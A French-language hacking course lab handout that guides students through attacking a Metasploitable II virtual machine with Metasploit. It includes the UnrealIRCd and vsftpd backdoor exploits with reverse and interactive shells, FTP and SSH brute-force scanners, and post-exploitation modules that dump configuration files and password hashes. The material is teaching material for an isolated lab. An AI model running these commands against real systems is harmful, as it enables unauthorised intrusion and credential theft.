Techniques de hacking
Support des TPs
Lab2 - Metasploitable II
Objectifs
Partie A
Se familiariser avec les commandes Metasploit en utilisant l’exploit “unreaIRCD“
Partie B
Simuler les 3 phases d’attaque :
1. Scan
2. Exploit
3. Post-exploit
En utilisant l’exploit vs_ftpd_backdoor
Partie C
Utilisation de Searchsploit pour automatiser la recherche et la mise à jour de la base de données MSF
Pré-requis
● Une machine virtuelle Kali
● Une machine virtuelle Metasploitable dédiée à ce type de simulation
● Mise en réseau des deux machines
● Configuration de l’outil Metasploit sur la machine Kali
========================================================================
1
● Importation de la machine Kali-msf
Dans VMWare > File > Open
Sélectionner le fichier [Link]
Accepter la licence
Donner un nom à la machine virtuelle et le chemin de stockage:
2
Si vous avez cette boîte de dialogue, les spécifications de la MV ne sont pas acceptées par VMWare.
Il faut accepter des spécifications moins contraignantes, cliquer sur Retry :
Une fois importée, Éditer les spécifications matérielles :
Mémoire : 8 Go
Espace disque : 60 Go
Deux Cartes réseaux: Une en ‘NAT’ et une deuxième en VMnet0
La carte réseau en VMnet0 sera connectée à la machine Metasploitable
Démarrer la MV Kali-msf: (clavier qwerty)
Login: kali
Mot de passe: kali
Démarrer un terminal
3
Changer le clavier en Azerty
$setxkbmap fr
Configurer l’interface réseau en VMnet0:
$sudo nano /etc/network/interfaces
Ajouter les deux dernières lignes :
Enregistrer et quitter.
Activer l’interface réseau eth1:
$sudo ifup eth1
● Importation de la machine Metasploitable
Dans VMWare > File > Open
4
Sélectionner le fichier [Link]
Une fois importée, Éditer les spécifications matérielles :
Mémoire : 4 Go
Espace disque : 15 Go
Une Carte réseau : en VMnet0
La carte réseau en VMnet0 sera connectée à la machine kali-msf
Remarque importante:
Vérifier que le réseau VMnet0 est correctement configuré:
Dans VMWare > Edit > Virtual Network Editor
Sélectionner VMnet0:
5
Vérifier que la case “Use local DHCP …” est cochée
Démarrer la MV Metasploitable : (clavier qwerty)
Login: msfadmin
Mot de passe: msfadmin
Démarrer un terminal
Changer le clavier
$sudo loadkeys fr
Configurer l’interface réseau en VMnet0:
$sudo nano /etc/network/interfaces
Ajouter/Vérifier les deux dernières lignes :
6
Enregistrer et quitter.
Activer l’interface réseau eth1:
$sudo ifup eth1
Récupérer l’adresse IP
$ip a
● Configuration de l’outil Metasploit
Démarrer la MV Kali-msf: (clavier qwerty)
Login: kali
Mot de passe: kali
Démarrer un terminal
7
Vérifier que vous pouvez envoyer des requêtes “ping” à “Metasploitable”
$ping [Link]
Vérifier que msfconsole est installé
$which msfconsole
Lancer msfconsole:
$sudo msfconsole
Afficher les options globales
8
Partie A
Effectuer une recherche d’exploit: unrealIRCD
Afficher les informations correspondantes
9
Et les options requises :
Ainsi que la description de l’exploit:
Pour utiliser ce module, il suffit juste d’exécuter l’ordre ci-dessous (en supprimant la partie de
référence exploit/):
msf6 > use unix/irc/unreal_ircd_3281_backdoor
Afficher les options requises :
10
Configurer l’adresse IP de la machine vulnérable <RHOST>:
msf6 > set RHOST [Link]
Pour info
La réussite des exploits dépend des charges actives ou payloads, ajoutées régulièrement à Metasploit
de la même façon que les modules.
Ces charges déterminent sur quel(s) type(s) de matériel(s) et d’éléments on cible l’attaque.
Pour lister les charges actives disponibles, il suffit d’exécuter la commande suivante :
msf6 > show payloads
11
Parmi la liste des charges actives compatibles listées précédemment, on peut voir une plage d’options
utilisant des Shells.
Les payloads sont divisés en deux catégories :
● Connecté (bind)
● Inversé (reverse)
REMARQUE: l’outil Meterpreter est principalement disponible pour les cibles Microsoft Windows.
Mais, il existe aussi des charges actives permettant d’obtenir une session Meterpreter sous Linux.
Shell connecté
Précise à la machine d’ouvrir un shell de commande et d’écouter sur le port local. L’attaquant se
connecte sur la machine ciblée sur le port d’écoute. Ceci dit, à cause des pare-feu, l’efficacité des
shells connectés a échoué car n’importe quel pare-feu correctement configuré bloque les ports
aléatoires tels que 4444.
Shell inversé
Pousse activement une connexion inversée à destination de l’attaquant plutôt que d’attendre une
connexion entrante. Dans ce cas de figure, sur notre machine d’attaque on ouvre un port local en
écoute d’une connexion de la cible, permettant ainsi de se faufiler plus facilement au travers des
pare-feu.
On choisit le shell reverse suivant :
msf6 > set payload cmd/unix/reverse
ATTENTION: comme dans l’exemple ci-dessus, il s’agit d’un shell inversé, on doit alors préciser la
cible où envoyer le shell. Il faut donc mentionner :
● l’adresse IP de la machine d’attaque
● le port sur lequel on écoute les connexions entrantes
12
msf6 > set LHOST [Link]
Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de l’exécuter via
l’instruction ci-dessous :
msf6 > exploit
Cette dernière commande liste alors les différentes étapes par lesquelles on passe avant d’en arriver à
l’exécution de l’exploit. Cela se termine par une session Meterpreter. Ce dernier est le moyen de
prendre la main et de passer des commandes à distance, à la machine cible afin d’exécuter l’ensemble
des étapes permettant de réaliser notre exploit.
Résultats :
● on tape la commande ls
13
● Les commandes uname, whois, whoami
● La commande ip a
Question
● L’adresse IP correspond à quelle machine ? Pouvez-vous interpréter ceci ?
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
Exécuter les commandes suivantes:
ls -l
download [Link] /home/kali/[Link]
Résultats attendus
Sur la machine victime:
14
Sur la machine Kali :
Partie B
Dans cette partie, nous allons utiliser une base de données pour stocker les résultats de scan de
vulnérabilités. Pour cela, on doit initialiser la base de données:
1. Initialisation de la base de données
#Initialiser la base de données
$sudo msfdb init
15
#Changer d’utilisateur (pas de mot de passe requis)
$sudo su - postgres
#Ouvrir un shell secondaire psql
psql
#Lister les bases de données
\l
#Se connecter à la base de données msf
\c msf
#Quitter le shell psql
\q
16
#Quitter la session de l’utilisateur postgres
exit
#Lancer Metasploit
$sudo msfconsole
#Consulter la base de données connectée
msf6 > db_status
#Lister les commandes relatives à la base de données msf
msf6 > help database
2. Phase de scan
#Créer l’espace de travail ubuntusploitable
msf6 > workspace -a ubuntusploitable
#Vérifier qu’il s’agit du bon workspace par défaut
msf6 > workspace
17
#Lister les commandes disponibles
msf6 > workspace -h
#Lancer le scan des ports 1-65535 de la machine victime (prendra plusieurs minutes)
msf6 > db_nmap -p 1-65535 -sV [Link]
Pour info
Vous pouvez suivre l’évolution du scan (en %)
Résultat:
#Lister les machines résultats de scan
msf6 > hosts
18
#Consulter les commandes relatives à la table hosts
msf6 > hosts -h
#Consulter les ports/services ouverts
msf6 > services
Pour info
Vous pouvez voir, ci-dessus, les services vulnérables IRC et FTP et leurs versions.
#Consulter les commandes relatives à la table services
msf6 > services -h
#Chercher les scanner par brute force correspondants au service ftp
msf6 > grep ftp search login
#Utiliser le scanner ftp_login
19
msf6 > use auxiliary/scanner/ftp/ftp_login
#Afficher les options requises au scanner ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > show options
#Déclarer la machine ubuntusploitable comme cible
msf6 auxiliary(scanner/ftp/ftp_login) > hosts -R
#Afficher les options manquantes
msf6 auxiliary(scanner/ftp/ftp_login) > show missing
⇒ La liste est vide
⇒ Toutes les options requises sont configurées
#Ajouter un fichier de mots de passe pour réaliser le scan par brute force
set USERPASS_FILE /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
show options
#exécuter le scan par brute force ⇒ La commande nécessite plusieurs minutes
msf6 auxiliary(scanner/ftp/ftp_login) > run
#Résultats de tentatives d’accès réussies
#Sortir du mode scanner
msf6 auxiliary(scanner/ftp/ftp_login) > back
20
#Afficher les privilèges obtenus
msf6 > creds
#Chercher les scanners correspondants au service ssh pour accès par brute force
msf6 > grep ssh search login
#Utiliser le scanner ssh_login <n° 176 >
msf6 > use auxiliary/scanner/ssh/ssh_login
#Utiliser tous les privilèges obtenus
msf6 auxiliary(scanner/ssh/ssh_login) > set DB_ALL_CREDS true
#Déclarer la machine ubuntumetasploitable comme cible
msf6 auxiliary(scanner/ssh/ssh_login) > hosts -R
#Exécuter le scan
msf6 auxiliary(scanner/ssh/ssh_login) > run
#Résultat attendu : 3 sessions ouvertes
#Sortir du mode scanner
msf6 auxiliary(scanner/ssh/ssh_login) > back
#Afficher les sessions en cours
msf6 > sessions
21
#Lister les sessions inactives
msf6 > sessions -d
#Afficher le résultat des vulnérabilités détectées
msf6 > vulns
Pour aller plus loin!
Consulter le site [Link] et renseignez-vous sur les vulnérabilités détectées en utilisant les références
mentionnées dans l’imprime-écran ci-dessus.
msf6 > Ctrl Z
Pour info
Pour sortir d’une session, il faut la stopper et la mettre en background :
Ctrl Z
ou
background
Pour la quitter :
Ctrl C ou exit
3. Phase d’exploitation
La phase d’exploitation des vulnérabilités du service FTP
#Chercher l’exploit correspondant à la vulnérabilité
msf6 > search vsftpd
22
#Utiliser l’exploit correspondant
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
#Déclarer la machine ubuntusploitable comme cible
msf6 auxiliary(unix/ftp/vsftpd_234_backdoor) > hosts -R
# Lister les charges actives disponibles
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
#Utiliser le payload disponible
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD payload/cmd/unix/interact
#Exécuter l’exploit
msf6 auxiliary(unix/ftp/vsftpd_234_backdoor) > run
#Afficher la vulnérabilité détectée
msf6 > vulns
23
#Lister les privilèges obtenus
msf6 > creds
4. Phase de post exploitation
#Afficher les post disponibles
msf6 > show post
#Utiliser le post enum_configs
msf6 > use linux/gather/enum_configs
#Associer un ID à la session
msf6 post(linux/gather/enum_configs) > set SESSION 1
#exécuter le post-exploit
msf6 post(linux/gather/enum_configs) > run
24
msf6 post(linux/gather/enum_configs) > back
#Lister les informations de configurations récupérées
msf6 > loot
#Utiliser le post de récupération de hash
msf6 > use post/linux/gather/hashdump
# Associer un ID à la session
msf6 post(linux/gather/hashdump) > set session 1
#Exécuter le post-exploit
msf6 post(linux/gather/hashdump) > run
25
#Afficher les sessions en cours
msf6 post(linux/gather/hashdump) > sessions
#Lancer la session 1
msf6 post(linux/gather/hashdump) > sessions -i 1
#passer en sudo
sudo su
#nom d’utilisateur en cours
whoami
Ctrl Z
msf6 post(linux/gather/hashdump) > back
#Afficher les privilèges obtenus
msf6 > creds
#Lister les fichiers de configuration récupérés
sudo ls -l /root/.msf4/loot/
26
msf6 > exit -y
Partie C
● Préparation intrusive
# Mettre à jour les exploits depuis Exploit DataBase (exploitdb) :
$searchsploit -u
# Rechercher des exploits (ex. vsftpd 2.3.4)
$searchsploit -t vsftpd |grep 2.3.4
⇒ Deux exploits trouvés : un script python et un script ruby
#Lancer un scan et stocker le résultat dans un fichier xml
$nmap -sV [Link] -oX [Link]
#Parmi les résultats
27
#Chercher les vulnérabilités relatives au résultat de scan
$searchsploit --nmap [Link] -v
● Pouvez-vous interpréter le résultat ?
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
#Chercher les vulnérabilités relatives au résultat de scan
$searchsploit --nmap [Link] –www
● Pouvez-vous interpréter le résultat ?
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
● Quelles différences relevez-vous avec la commande précédente ?
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
● Interprétez le résultat de cette commande
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
===============================
FIN DE L’ATELIER
28